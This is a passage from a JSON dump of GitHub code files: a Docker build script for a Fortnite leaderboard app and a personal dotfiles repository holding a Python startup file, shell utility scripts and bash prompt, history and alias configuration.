op.drop_index(op.f('ix_stats_life_wr'), table_name='stats')\n op.drop_index(op.f('ix_stats_life_squad_wr'), table_name='stats')\n op.drop_index(op.f('ix_stats_life_solo_wr'), table_name='stats')\n op.drop_index(op.f('ix_stats_life_duo_wr'), table_name='stats')\n op.drop_column('stats', 'life_wr')\n op.drop_column('stats', 'life_squad_wr')\n op.drop_column('stats', 'life_solo_wr')\n op.drop_column('stats', 'life_duo_wr')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.738132894039154, "alphanum_fraction": 0.753164529800415, "avg_line_length": 54, "blob_id": "d57dc541f1b2d6273d1f4682f527f65f1e923629", "content_id": "8545d44082bad9e2c4597dd524f533b7d53f0fc7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1264, "license_type": "no_license", "max_line_length": 160, "num_lines": 23, "path": "/build.sh", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# 1. When we are ready to test our changes, we push our latest changes to the 'dev' branch in GitLab\n# 2. GitLab informs Jenkins of new code via webhook, which fires off a Jenkins build job\n# 3. Jenkins tells the build agent (a local CentOS 7 server running Docker) to pull down the latest code and run build.sh\n# 3a. The build job copies the latest version of the database file from another directory to the build direcotry\n# 3b. Every hour, we rsync the production database file from the AWS instance to our local Docker server so we can always test with (just about) the latest data\n# 4. build.sh looks for running containers (of the same project type) and stops them\n# 5. build.sh builds a new Docker image with the latest code (using Dockerfile.dev)\n# 6. build.sh runs the new container image, and maps port 80 on the container to port 80 on the Docker server\n# 7. Now we can test our application in our development environment before pushing changes to AWS (see deploy.sh for that)\n\nCONTAINER=$(docker ps | grep \"Up\" | grep \"supervisor\" | awk '{print $1}')\n\nif [[ $CONTAINER ]]; then\n docker stop $CONTAINER\nelse\n echo \"No containers running.\"\nfi\n\ndocker build -t fortnitefriends -f Dockerfile.dev .\n\ndocker run -d -p 80:80 fortnitefriends" } ]
24
ExpHP/dotfiles
https://github.com/ExpHP/dotfiles
b45ba078b7b6e5293b4c6bc3228ccd35f3202dab
f816ab024298c25930f2649a90ec2066908e3cd6
457703ff1ed4a6d11f2d1e38c7e332f3e796a881
refs/heads/master
2022-02-19T11:23:12.906489
2022-02-15T23:04:50
2022-02-15T23:12:20
49,752,990
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6590636372566223, "alphanum_fraction": 0.6632652878761292, "avg_line_length": 21.513513565063477, "blob_id": "7154a60ff4336c3b2b56588de4f48f45498976a4", "content_id": "00a3fb2dee95dac5b01a6d84961c24f83b342d14", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1666, "license_type": "no_license", "max_line_length": 68, "num_lines": 74, "path": "/python-startup.py", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "from __future__ import print_function\n\n# To be run from PYTHONSTARTUP\n\nfrom sys import stdout as ___stdout\ndef history(pattern=None, n=15, file=___stdout):\n import readline\n if pattern is None:\n match = lambda s: True\n elif isinstance(pattern, str):\n match = lambda s: pattern in s\n else: raise TypeError\n\n out = []\n for i in reversed(range(readline.get_current_history_length())):\n line = str(readline.get_history_item(i))\n if not match(line):\n continue\n\n out.append(line)\n if n is not None and len(out) >= n:\n break\n out = out[::-1]\n\n if file is None:\n return out\n else:\n for line in out:\n print(line, file=file)\n\ndef mpl():\n global plt\n global mpl\n import matplotlib.pyplot as plt\n import matplotlib as mpl\n\n# Jesus H. Christ why haven't I done this sooner\n# - Me, November 2017\n#\n# (even if these aren't all that useful to use on the command line,\n# I might still want them around just to check docstrings)\nimport os\nimport sys\nimport json\nimport time\nimport shutil\nimport subprocess\nimport math\nimport pickle\n\ntry: import argparse\nexcept: pass\ntry:\n import numpy; np = numpy\n numpy.set_printoptions(linewidth=float('inf'))\nexcept: pass\n\ntry:\n from ruamel.yaml import YAML as yaml\n yaml = yaml()\nexcept:\n try: import yaml\n except: pass\n\ndef pmg():\n global Poscar\n global Structure\n global Lattice\n global pymatgen\n global SpacegroupAnalyzer\n import pymatgen\n from pymatgen import Structure, Lattice\n from pymatgen.io.vasp import Poscar\n from pymatgen.symmetry.analyzer import SpacegroupAnalyzer\n" }, { "alpha_fraction": 0.7038995623588562, "alphanum_fraction": 0.7098479866981506, "avg_line_length": 34.13953399658203, "blob_id": "da9ef07d283ba84492f9c2e85c7c9f004de1a925", "content_id": "76053e063e2ebd14f4ca4ac623c902f67a7fab61", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1513, "license_type": "no_license", "max_line_length": 79, "num_lines": 43, "path": "/bin/_fwatch--tail", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# ALRIGHT SO HERE'S THE DEAL\n\n# This file is part of 'fwatch'.\n\n# You see.\n# Some implementations of 'tail' print this \"helpful\" error message\n# when inotify fails, even when we aren't using --follow and there\n# is no conceivable reason for it to be using inotify:\n\nfilter-useless-text() {\n grep --invert-match \"inotify cannot be used, reverting to polling\"\n true\n}\n\n# The thing is, any output to STDERR (especially repeated output that\n# conveys no useful information; see above) has a tendency to make\n# 'watch' unusable by filling up the screen.\n\n# Troublesome thing is, though, we need to apply that filter to STDERR.\n# But mind: we specifically want to filter the STDERR belonging to tail...\n# not the one for watch!\n\n# One solution is to make a function which produces pre-filtered output...\n# Except that on some systems it seems to be virtually impossible to get watch\n# to call a bash function through any means, even after \"export -f\"ing the\n# function and using 'watch --exec bash -c'.\n# (after I did all of this, watch appeared to just stall with no output. Rude!)\n\n# So I give up. Here's a goddamn script with a goddamn silly name on my\n# goddamn path where it is visible to GODDAMN EVERYTHING so that I can do\n# a tiny little goddamn bit of IO redirection in a goddamn watch command.\n\n{\n tail \"$@\" `\n ` | cat 2>&1 1>&3 ` # move streams so we can filter STDERR\n ` | filter-useless-text `\n `\n code=${PIPESTATUS[0]}\n} 3>&1 1>&2 # move them back\n\nexit $code\n\n\n" }, { "alpha_fraction": 0.550000011920929, "alphanum_fraction": 0.550000011920929, "avg_line_length": 12.333333015441895, "blob_id": "5ec5fb3e8331d82e9d21a0ef7a4d2647a8ce183b", "content_id": "2deee9f10919cf417f93b9aecd4ee99ee895fe11", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 40, "license_type": "no_license", "max_line_length": 20, "num_lines": 3, "path": "/bin/sane-cp", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\nset -e\nCMD=cp _sane-cp \"$@\"\n" }, { "alpha_fraction": 0.7226277589797974, "alphanum_fraction": 0.7226277589797974, "avg_line_length": 23.909090042114258, "blob_id": "b18b33a0ee5cca38d242f37db85baf31a0399833", "content_id": "4e485601216fc25d06477531c2684e63781cd950", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 274, "license_type": "no_license", "max_line_length": 97, "num_lines": 11, "path": "/stow/README.md", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "# Gnu Stow Packages\n\nEach directory in here (aside from `./metadata`) is a package which can be loaded using GNU stow.\n\nTo see a description of each package (as well as the path it will install to), type\n\n```\n./load PACKAGE-NAME\n```\n\nand hit Ctrl-C at the prompt to cancel.\n" }, { "alpha_fraction": 0.5680751204490662, "alphanum_fraction": 0.5680751204490662, "avg_line_length": 16.75, "blob_id": "86e479cca6d57c8db332790c0c9d72d999c7f34e", "content_id": "14400babdc44454b4036eabb7885ee9e2c8b3165", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 213, "license_type": "no_license", "max_line_length": 41, "num_lines": 12, "path": "/bin/fixvid", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nfor var in \"$@\"\ndo\n NEWNAME=$(_fixvid--addext \"$var\")\n if [ \"$var\" != \"$NEWNAME\" ]\n then\n mv \"$var\" \"$NEWNAME\"\n echo \"fixvid: $var moved to $NEWNAME\"\n fi\n _fixvid--addaudio \"$NEWNAME\"\ndone\n" }, { "alpha_fraction": 0.6739130616188049, "alphanum_fraction": 0.695652186870575, "avg_line_length": 22, "blob_id": "8641ed78bf2552781eec578c48a1071f14522014", "content_id": "a2de8b42983fd6c1327da6e0c671f25b1b89dea0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 46, "license_type": "no_license", "max_line_length": 33, "num_lines": 2, "path": "/bin/pyprofile3", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\nPYTHON_BIN=python3 pyprofile \"$@\"\n" }, { "alpha_fraction": 0.6639344096183777, "alphanum_fraction": 0.6803278923034668, "avg_line_length": 16.428571701049805, "blob_id": "ed36b91e8f144c3a3b5847e23b5a116b92395364", "content_id": "fa0a73bf566a56f3cf6723d793bbb80d8cdca99f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 122, "license_type": "no_license", "max_line_length": 41, "num_lines": 7, "path": "/bin/pc", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\n# Because bc sucks\n\nfrom sys import argv\nfrom math import *\nprint(eval(' '.join(argv[1:]),globals()))\n" }, { "alpha_fraction": 0.6945551037788391, "alphanum_fraction": 0.7131474018096924, "avg_line_length": 67.45454406738281, "blob_id": "078f589f19e2d0afa1b23c999190f27a908ddd9d", "content_id": "09097e834ac17962edc737498724c1554edc6ef2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 753, "license_type": "no_license", "max_line_length": 94, "num_lines": 11, "path": "/xkb/README.md", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "xkb doesn't seem to have any per-user config files, so this is a bit nasty:\n\n1. Find where the xkb layouts are defined. In 16.04 LTS this is `/usr/share/X11/xkb`.\n2. Make a symlink to `bud.syntax` at `/usr/share/X11/xkb/syntax/bud`. *(note the rename!)*\n3. Copy **the textual content** of `bud.evdev`, and open `/usr/share/X11/xkb/rules/evdev.xml`.\n It can be freely placed amongst the other `<layout>...</layout>` blocks in there.\n * I believe this step makes it available for selection in the gtk gui (Text Entry Settings).\n Without it, you can still use `xkbmap bud`\n4. `sudo dpkg-reconfigure xkb-data`. (there's also some directory which people\n say should be purged of `*.xkm` files, but I never see anything there.\n Old info, perhaps.)\n" }, { "alpha_fraction": 0.655098557472229, "alphanum_fraction": 0.6703084707260132, "avg_line_length": 33.57777786254883, "blob_id": "f114531b14c4e13a11bec68fb215f87eeb31ec8f", "content_id": "a6e329efbabc44b462d2d64303a7f9f877b35fcf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4668, "license_type": "no_license", "max_line_length": 89, "num_lines": 135, "path": "/bin/cabal-run", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nimport sys\nimport subprocess\nimport os\n\n# Michael Lamparski 10 October 2016\n# A hacked up script to bide time until 'cabal new-run' exists.\n# It does a 'cabal build', locates the compiled binary, and runs it\n# with any given command line arguments.\n\n# THIS FILE IS NOT ASSOCIATED WITH CABAL, CABAL-INSTALL,\n# OR THE CABAL DEVELOPMENT TEAM IN GENERAL.\n\n# version 1.04: 5 March 2017\n# * Touch up docs slightly in preparation for upload.\n# version 1.03: 24 February 2017\n# * Cabal goes to stderr.\n# version 1.02: 10 October 2016\n# * Give an approriate message if the package is a library.\n# version 1.01: 10 October 2016\n# * Initial version. (shares version number with cabal-new)\n\nPROG = os.path.basename(sys.argv[0])\n\ndef main():\n\timport argparse\n\tparser = argparse.ArgumentParser(\n\t\tdescription='A stand-in for \"cabal new-run\" until it actually exists',\n\t)\n\tparser.add_argument('--name',\n\t\thelp='Name of executable to run (i.e. from the \\'executable\\' header in *.cabal)'\n\t\t ' in case there is more than one. Defaults to the package name.'\n\t\t ' (note: ALL executables will be built regardless of this flag. Sorry)'),\n\tparser.add_argument('--version', action='store_true', help='Print version')\n\tparser.add_argument('ARGS', nargs=argparse.REMAINDER,\n\t\thelp='Arguments to the compiled binary.')\n\targs = parser.parse_args()\n\n\tif args.version:\n\t\tprint(\"'cabal run' workaround script 1.03\")\n\t\tsys.exit(0)\n\n\trun_simple(['cabal', 'new-build'], stdout=sys.stderr)\n\n\tpackage, version = determine_package_and_version()\n\n\t# dist-newstyle, located wherever cabal.project is\n\tcachedir = locate_build_cache()\n\tpath = locate_executable(cachedir, package, version, args.name or package)\n\n\trun_simple([path] + list(args.ARGS))\n\ndef determine_package_and_version():\n\t# Example output from cabal info:\n\t#\n\t#* aaa-0.1.0.0 (program)\n\t# Versions available: [ Not available from server ]\n\t# Versions installed: [ Unknown ]\n\t# Homepage: [ Not specified ]\n\t# Bug reports: [ Not specified ]\n\t# License: MIT\n\t# Author: Michael Lamparski\n\t# Maintainer: [email protected]\n\t# Source repo: [ Not specified ]\n\t# Executables: aaa\n\t# Dependencies: base ==4.8.*\n\t# Cached: Yes\n\ttry: output = subprocess.check_output(['cabal', 'info', '.'])\n\texcept subprocess.CalledProcessError:\n\t\tdie(\"An error occured while trying to determine the current package.\")\n\toutput = output.decode('utf-8')\n\n\toutput = [line for line in output.split('\\n') if line.startswith('*')]\n\tlib_count = len([line for line in output if '(library)' in line])\n\tbin_count = len([line for line in output if '(program)' in line])\n\tother_count = len(output) - lib_count - bin_count\n\n\tif bin_count == 0:\n\t\tif lib_count > 0: die('There are no binaries here! (just a library)')\n\t\tif other_count > 0: die('There are no binaries here! (but there is... something else)')\n\t\tdie('cabal info returned no packages! :(')\n\tif bin_count > 1:\n\t\tdie('cabal info returned more than one binary! However will we know what to run? ;_;')\n\tline, = output\n\n\t# something like the-package-name-0.1.0.0\n\tversioned_package = line.split()[1]\n\t# versions can't have hyphens... right?\n\tpackage, version = versioned_package.rsplit('-', 1)\n\treturn package, version\n\ndef locate_build_cache():\n\t# FIXME surely there must be some way to query this information from cabal instead?\n\n\t# search upwards for dist-newstyle\n\tfor depth in range(16):\n\t\tpath = os.path.join(*(['..']*depth + ['dist-newstyle']))\n\t\tif os.path.isdir(path):\n\t\t\treturn path\n\tdie('could not locate dist-newstyle in this directory or a parent')\n\ndef locate_executable(cachedir, package, version, executable):\n\t# dist-newstyle/build/PACKAGE-VERSION/build/EXEC/EXEC\n\tpath = os.path.join(cachedir, 'build',\n\t '{}-{}'.format(package, version),\n\t 'build', executable, executable)\n\tif not os.path.exists(path):\n\t\tdie('Expected to find binary at %r, but didn\\'t!', path)\n\treturn path\n\n# run, forwarding stdout/stderr and exit on failure with no message\n# (the assumption being that the command that failed already printed a message)\n# \"cmd arg1 arg2 ... argN || exit 1\" in bash\ndef run_simple(args, **kw):\n\ttry: subprocess.check_call(args, **kw)\n\texcept subprocess.CalledProcessError: sys.exit(1)\n\n#----------------------------------------\ndef _write_err(label='', msg='', args=()):\n\tprint('%s: %s%s' % (PROG, label, msg % tuple(args)), file=sys.stderr)\n\ndef warn(msg, *args):\n\t_write_err('', msg, args)\n\ndef error(msg, *args):\n\t_write_err('Error: ', msg, args)\n\ndef die(msg, *args):\n\t_write_err('Fatal: ', msg, args)\n\t_write_err('Aborting.')\n\tsys.exit(1)\n\nif __name__ == '__main__':\n\tmain()\n" }, { "alpha_fraction": 0.6483516693115234, "alphanum_fraction": 0.6520146727561951, "avg_line_length": 23.81818199157715, "blob_id": "dfcc0eaeab964bce8d74d0f40057d61323f47043", "content_id": "4b3c70ed0237cb84256c02fa791997c7ff6c38a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 273, "license_type": "no_license", "max_line_length": 49, "num_lines": 11, "path": "/shell/bashrc.prompt.d/pyenv", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\n. $HOME/dotfiles/shell/colors.ps1.include\n\n# DO NOT USE 'pyenv version-name'\n# IT IS SO SLOW\n# YOU WILL MAKE YOUR PROMPT SO SLOW\nversion=$PYENV_VERSION\nif [[ $version && \"$version\" != 'system' ]]; then\n echo -n \"(${cyan}$version${none}) ${none}\"\nfi\n" }, { "alpha_fraction": 0.6053412556648254, "alphanum_fraction": 0.6364985108375549, "avg_line_length": 34.47368240356445, "blob_id": "a97e20f1e8331fe047902332ad69bc6c3d328462", "content_id": "9321e08aa58db9f332f57a10ae4b81be948a2262", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 674, "license_type": "no_license", "max_line_length": 154, "num_lines": 19, "path": "/bin/_fixvid--addaudio", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nfilename=\"$1\"\nextension=\"${filename##*.}\"\nleftname=\"${filename%.*}\"\ntempname=\"$leftname-aud.$extension\"\n\n#ffprobe \"$filename\" 2>&1 | grep \"Audio: none, 0 channels\" > /dev/null\nffprobe \"$filename\" 2>&1 | grep \"hasAudio\" | grep \"false\" > /dev/null\n\nRETVAL=$?\n[ $RETVAL -eq 0 ] && echo \"addaudio: adding audio to $filename\"\n[ $RETVAL -eq 0 ] && ffmpeg -ar 48000 -ac 2 -f s16le -i /dev/zero -i \"$filename\" -shortest -c:v copy -c:a aac -strict experimental \"$tempname\" 2>/dev/null\n[ $RETVAL -eq 0 ] || exit 0\n\nRETVAL=$?\necho $retval\n[ $RETVAL -eq 0 ] && rm \"$filename\" && mv \"$tempname\" \"$filename\"\n[ $RETVAL -eq 0 ] || echo \"addaudio: $filename processing failed?\"\n" }, { "alpha_fraction": 0.5641025900840759, "alphanum_fraction": 0.5791977047920227, "avg_line_length": 27.95209503173828, "blob_id": "91e04805c54c1a2165a9b53c26451767a65f4583", "content_id": "9a19ae137cbf95c40216ddf7023a4783861ef631", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 4838, "license_type": "no_license", "max_line_length": 153, "num_lines": 167, "path": "/shell/bashrc.include", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "# vim: ft=sh\n\n# To be source'd in .bashrc\n\n# running 'which' can actually get pretty expensive (especially on wsl2) so we cache these\nwhich git 1>/dev/null 2>/dev/null && __EXPHP_BASH_PROMPT__HAS_GIT=1\n[[ -e $HOME/asd/manage/pyenv ]] && __EXPHP_BASH_PROMPT__HAS_PYENV=1\n\n# Wrap in a function so that `local` can be used.\n# Awkwardly long name to avoid collision.\n__exphpBashrcPromptCommand() {\n local __PREV_EXIT_CODE=\"$?\" # This needs to be first\n\n . $HOME/dotfiles/shell/colors.ps1.include --local\n\n local lbrace=\"$white[\"\n local rbrace=\"$white]\"\n local midbrace=\"$white@\"\n if ! [[ -z \"$NOLIMIT_JUST_IN_TIME\" ]]; then\n local lbrace=\"$red[[\"\n local rbrace=\"$red]]\"\n local midbrace=\"$red⚡\"\n fi\n\n local my_machine\n local tmp\n for tmp in \\\n lampam-ThinkPad-T430\\\n arch-t430s\\\n dd-arch\\\n dd-win10\\\n ; do [[ $HOSTNAME == $tmp ]] && my_machine=1; done\n\n # == RESET ==\n PS1=\"\"\n\n # == PYENV ==\n if [[ $__EXPHP_BASH_PROMPT__HAS_PYENV ]]; then\n PS1+=\"$($HOME/dotfiles/shell/bashrc.prompt.d/pyenv)\"\n fi\n\n # == MAIN STUFF ==\n PS1+=\"$lbrace \"\n if [[ $my_machine ]]; then\n # Username & Time\n PS1+=\"$blue\\\\u\"\n PS1+=\"$bracecolor $midbrace \"\n if [[ $EXPHP_BASHRC_PRIVATE ]]; then\n PS1+=\"$purple\\t\"\n else\n PS1+=\"$yellow\\t\"\n fi\n else\n # Username & host\n PS1+=\"$green\\\\u@\\\\h\"\n fi\n PS1+=\" $rbrace \"\n\n # == ERROR INDICATOR ==\n if [[ $__PREV_EXIT_CODE -ne 0 ]]; then\n PS1+=\"($red!!!$white) \"\n fi\n\n # == DYNAMIC REGION ==\n # Git branch\n if [[ $__EXPHP_BASH_PROMPT__HAS_GIT ]]; then\n PS1+=\"$($HOME/dotfiles/shell/bashrc.prompt.d/git)\"\n fi\n\n # Current directory\n PS1+=\"$green\\w$none\"\n\n # Prompt on newline\n PS1+=\"\\n\"\n PS1+=\"${white}\\\\\\$${none} \"\n}\n\nPROMPT_COMMAND=__exphpBashrcPromptCommand\n\n__bashrc__is_bash_ge() {\n local maj\n local arg=$1\n for maj in $(seq 1 1 $((arg - 1))); do\n [[ $BASH_VERSION == ${maj}.* ]] && return 1\n done\n return 0\n}\n\n__bashrc__is_bash_ge 4 && shopt -s globstar\n__bashrc__is_bash_ge 3 && shopt -s extglob\n\n__bashrc__is_bash_ge 4 && shopt -s autocd\n\n# so readline has a vim mode\n__bashrc__is_bash_ge 3 && set -o vi\n\n#------------------------------------------------------\n# replicate zsh's inc_append_history. Or at least, try to.\n\nif [[ $EXPHP_BASHRC_PRIVATE ]]; then\n # use a temporary history file so that we can still see old commands,\n # but can't write back new ones\n p=$(mktemp /tmp/tmp.XXXXXXXXXX)\n cat $HISTFILE >>$p\n HISTFILE=$p\nelse\n export HISTCONTROL=ignoredups:erasedups\n # \"like, infinity\"\n export HISTSIZE=100000000\n export HISTFILESIZE=100000000\n shopt -s histappend\n\n # Add to the history after each command finishes\n NEWLINE=$'\\n'\n PROMPT_COMMAND=\"$PROMPT_COMMAND $NEWLINE history -a\"\n\n # absolutely guarantee i never lose my bash history ever again ever ever\n __bashrc__history_backup_counter=0\n __bashrc__MAKE_ABSOLUTELY_SURE_THAT_FUCKING_HISTORY_IS_SAVED() {\n local backup=$HISTFILE.bak\n # Only perform backups once every few commands.\n # (This will make it easier to see whether the wc -l's here are a problem)\n local interval=5\n\n __bashrc__history_backup_counter=$((__bashrc__history_backup_counter + 1))\n if [[ $__bashrc__history_backup_counter -eq $interval ]]; then\n local new_count=$(cat \"$HISTFILE\" 2>/dev/null | wc -l)\n local old_count=$(cat \"$backup\" 2>/dev/null | wc -l)\n if [[ $new_count -lt $old_count ]]; then\n echo >&2 \"WARNING: Detected loss of lines in $HISTFILE ($old_count -> $new_count lines), history from this session will not be backed up\"\n cp -a $backup $HISTFILE\n else\n cp -a $HISTFILE $backup\n fi\n __bashrc__history_backup_counter=0\n fi\n }\n PROMPT_COMMAND=\"$PROMPT_COMMAND $NEWLINE __bashrc__MAKE_ABSOLUTELY_SURE_THAT_FUCKING_HISTORY_IS_SAVED\"\nfi\n\n#------------------------------------------------------\n\n__bashrc__remove_from_path() {\n directory_to_remove=$1\n PATH=:$PATH:\n PATH=${PATH//:$directory_to_remove:/:}\n PATH=${PATH#:}; PATH=${PATH%:}\n}\n\nif [ -e $HOME/anaconda3 ]; then\n conda_startup() {\n # This is the stuff that `conda init` normally adds to .bashrc, except it has been put\n # into a function so that you can opt into it on a per-shell basis.\n __conda_setup=\"$(\"$HOME/anaconda3/bin/conda\" 'shell.bash' 'hook' 2> /dev/null)\"\n if [ $? -eq 0 ]; then\n eval \"$__conda_setup\"\n else\n if [ -f \"$HOME/anaconda3/etc/profile.d/conda.sh\" ]; then\n . \"$HOME/anaconda3/etc/profile.d/conda.sh\"\n else\n export PATH=\"$HOME/anaconda3/bin:$PATH\"\n fi\n fi\n unset __conda_setup\n # <<< conda initialize <<<\n }\nfi\n\n" }, { "alpha_fraction": 0.8500000238418579, "alphanum_fraction": 0.8500000238418579, "avg_line_length": 40, "blob_id": "532746229d32c628fc42c82853f719325d9ad155", "content_id": "fda04bb339b6461905142f1dfb59b636233e6af4", "detected_licenses": [], "is_generated": false, "is_vendor": true, "language": "Shell", "length_bytes": 40, "license_type": "no_license", "max_line_length": 40, "num_lines": 1, "path": "/stow/plasma-path/plasma-workspace/env/my-custom-path.sh", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "/home/lampam/dotfiles/shell/path.include" }, { "alpha_fraction": 0.6442577242851257, "alphanum_fraction": 0.6526610851287842, "avg_line_length": 26.461538314819336, "blob_id": "3f27402ffbc3259bcc8232385670a56e76cb4e83", "content_id": "90ec4523a080cc033605d30a7d35ba82fb85adaa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1071, "license_type": "no_license", "max_line_length": 76, "num_lines": 39, "path": "/vim/clein", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\n# clein: Remove all packages except Dein\n\n# This exists because I couldn't see how else to force dein to forget\n# that a package exists after it is removed/commented out from the TOML.\n\n# It prunes a directory tree so that nothing outside a given subtree exists.\n\nDIR_TO_RIP_TO_SHREDS=\"$HOME/.vim/bundle\"\nSUBDIR_TO_PROTECT=\"repos/github.com/Shougo/dein.vim\"\nLAME_JOKE=\"Don't see dein, we ain't cleinin!\"\n\ncd $DIR_TO_RIP_TO_SHREDS || exit 1\n\n# If we aren't 100% sure that we are in the right place,\n# recursively deleting everything doesn't sound like a\n# very good idea.\nif [[ ! -e \"$SUBDIR_TO_PROTECT\" ]]; then\n\techo \"$LAME_JOKE\" >&2\n\texit 1\nfi\n\nIFS=/ read -a path_components <<<\"$SUBDIR_TO_PROTECT\"\nfor comp in \"${path_components[@]}\"; do\n\n\t# paranoia, in case I introduce a bug to this script\n\tif [[ ! -e \"$comp\" ]]; then\n\t\techo \"$LAME_JOKE\" >&2\n\t\texit 1\n\tfi\n\n\tfor d in `ls -a`; do\n\t\tif [[ \"$d\" == \".\" ]]; then continue; fi\n\t\tif [[ \"$d\" == \"..\" ]]; then continue; fi\n\t\tif [[ \"$d\" == \"$comp\" ]]; then continue; fi\n\t\trm -rf $d\n\tdone\n\tcd $comp || exit 1\ndone\n" }, { "alpha_fraction": 0.6951673030853271, "alphanum_fraction": 0.6988847851753235, "avg_line_length": 25.899999618530273, "blob_id": "a8057d419a707bbd67cbcf472253f87e9cc99c3d", "content_id": "180823cfeb9a0a88c110c771ee2dbe7fb69e309f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 269, "license_type": "no_license", "max_line_length": 65, "num_lines": 10, "path": "/bin/ghcxc", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nGHCWRAP_PROG=$(basename $0)\nGHCWRAP_USAGE=\"Compile and run a haskell module with backtraces.\"\nGHCWRAP_GHC_ARGS=(ghc -prof -fprof-auto -fprof-cafs -o a.out)\nGHCWRAP_RUN_ARGS=(./a.out +RTS -xc -RTS)\nGHCWRAP_POST_ARGS=()\nGHCWRAP_INPUT_ARGS=(\"$@\")\n\n. _ghcwrap\n" }, { "alpha_fraction": 0.683444082736969, "alphanum_fraction": 0.694189190864563, "avg_line_length": 35.081634521484375, "blob_id": "35f0eee08a2a39976ca4a37cafe07786c6305c42", "content_id": "fdfb3f5a4678a65a1ac057f7eb5526632269a2ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 7073, "license_type": "no_license", "max_line_length": 101, "num_lines": 196, "path": "/shell/common.include", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "# vim: ft=sh\n\n# This file is intended to be sourced by both .bashrc and .zshrc.\n# It contains environment variables, aliases, and other shell-agnostic things.\n\n# FIXME I think there's actually a lot of bash-specific things in here.\n# kinda defeats the point >_>\n\nsource $HOME/dotfiles/shell/path.include\n\nexport PYTHONSTARTUP=\"$HOME/dotfiles/python-startup.py\"\n\nif which wsl.exe 1>/dev/null 2>/dev/null; then\n\t__SHELLRC__IS_WSL=1\nfi\n\n#----------------------------------------------\n\nif [ -e $HOME/asd/manage/pyenv ]; then\n # Disable built-in PS1 modification which is being deprecated. (we'll just replace it with our own)\n export PYENV_VIRTUALENV_DISABLE_PROMPT=1\n\n # pyenv startup part 1. Technically this belongs in .profile and not bashrc,\n # but frankly so does a lot of other stuff in this .bashrc.\n export PYENV_ROOT=\"$HOME/asd/manage/pyenv\"\n export PATH=\"$PYENV_ROOT/bin:$PATH\"\n eval \"$(pyenv init --path)\"\nfi\n\ncallable() {\n\t# NOTE: 'GNU which', as found on arch linux, writes to stderr on failure.\n\t# I'm not sure how portable the alias check is, but this should only result\n\t# in false negatives, which aren't a catastrophe.\n\twhich -- \"$@\" 1>/dev/null 2>/dev/null || alias -- \"$@\" 1>/dev/null 2>/dev/null\n}\n\nif [ \"$__SHELLRC__IS_WSL\" == 1 -a \"$DISPLAY\" == \"\" ]; then\n\t# In WSL we need an X server running on the windows side (at least until native X support is\n\t# production-ready). But the windows side has a different IP from localhost! Find its IP.\n\texport DISPLAY=$(cat /etc/resolv.conf | grep nameserver | awk '{print $2; exit;}'):0.0\nfi\n\n# Let sudo see things in our path.\nalias sudo='sudo env PATH=\"$PATH\"'\n\n# 'git commit' has trouble using pinentry-tty without this\nexport GPG_KEY=$(tty)\n\ncallable rg && _DOTFILE_SEARCHER=rg\ncallable rg || _DOTFILE_SEARCHER=grep\nalias h=\"history | $_DOTFILE_SEARCHER\"\n\ncallable fzf && {\n export FZF_DEFAULT_OPTS='--no-mouse'\n\n # wean myself off h in cases where a better solution exists\n alias h='echo \"Use Ctrl+R or hs instead\" && printf \"\" --'\n # keep this around for when we want to use the -C flag\n alias hs=\"history | $_DOTFILE_SEARCHER\"\n}\n\ncallable rlwrap && {\n callable python2 && alias python2='rlwrap python2'\n # this doesn't work, enable history in .gdbinit instead\n # FIXME or that seems to only have saved commands I\n # wrote in the first run, and then never again...\n #callable gdb && alias gdb='rlwrap gdb'\n}\n\n# as if I'm ever going to use go again >_>\nexport GOPATH=$HOME/cpp/go\n\nexport COCONUT_STYLE=monokai\n\nalias hoogle='hoogle --color --count=10'\n\n# Aliasing cabal is not necessary and in fact causes subtle problems.\n# You can set the sandbox option in ~/.cabal/config instead.\n#alias cabal='cabal 